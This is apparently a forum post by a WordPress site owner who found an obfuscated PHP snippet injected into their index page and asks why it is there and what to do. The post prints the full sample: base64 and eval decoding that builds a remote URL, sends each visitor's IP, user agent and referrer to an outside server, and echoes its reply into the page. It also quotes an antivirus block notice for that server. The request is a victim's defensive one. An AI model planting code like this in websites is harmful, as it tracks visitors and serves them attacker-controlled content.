I have a wordpress website, recently I saw too much slow loading index page. For two weeks I have been trying to find the problem but found nothing. Last day I backup all files and deleted everything from my website and when I opened my website index page in notepad++.
I saw too much strange codes and when I run my site on locally on wamp my antivirus issues too many warnings and blocks a lot of external going connections. I saw this code on my website index page:
<?php $_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref; $tmp = file_get_contents($url); echo $tmp; ?>
tell me why is this code in my page and how it got there, I found this on no other pages also tell me what should I do now and my eset antivirus says this when I load my page in wamp:
Details: Web page: http://220.127.116.11/bt.php?ip=127.0.0.1&host=localhost&uri=/web/wordpress/&ua=mozilla/5.0+(windows+nt+6.1)+applewebkit/535.1+(khtml,+like+gecko)+chrome/14.0.835.187+safari/535.1&ref= Description: Access to the web page was blocked by ESET NOD32 Antivirus. The web page is on the list of websites with potentially dangerous content. www.eset.com